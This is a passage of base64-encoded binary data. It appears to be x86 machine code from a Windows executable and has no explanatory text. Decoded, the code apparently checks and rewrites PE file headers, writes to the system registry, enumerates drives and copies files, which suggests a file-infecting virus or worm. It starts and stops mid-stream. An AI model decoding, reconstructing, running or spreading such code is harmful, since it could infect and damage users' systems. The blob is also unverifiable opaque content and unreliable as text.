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 //+DxBhogO42AP8VLNFAAOvBVYvsg30MAHU0g30QAHUIagX/FSzRQAD/dQjoftz//4XAWXwU g/gDfQ//dQho7DdJAOhsFgAAWVlqAVhdw/91COjT/f//hcBZdAQzwF3DM8A5RRAPlMBdw1WL 7IHsDAEAAICl9P7//wBTjYX0/v//aAQBAABQagFobQlBAOhP0///WVlQaFICQQBoAgAAgOiu 5P//jYX0/v//UOh5/f//D76F9P7//4qd9v7//1DobhkAAIPEHINl+ACIRf+KRfgEYTpF/3Q8 gKX2/v//AIiF9P7//42F9P7//1D/FczQQACD+AOInfb+//91F/91CI2F9P7//2iuYEAAUOhv 3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9 1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO //+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f// 6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA 689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61//// dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/ /4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do Q8n//zPAhfYPlMBeycNVi+yB7AAIAACApQD4//8AgKUA/P//AI2FAPj//1D/dQjoxv3//42F APz//1D/dQzot/3//42FAPz//1CNhQD4//9Q6ARlAACDxBj32BvAQMnDg+wQVVZXg0wkGP+9 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 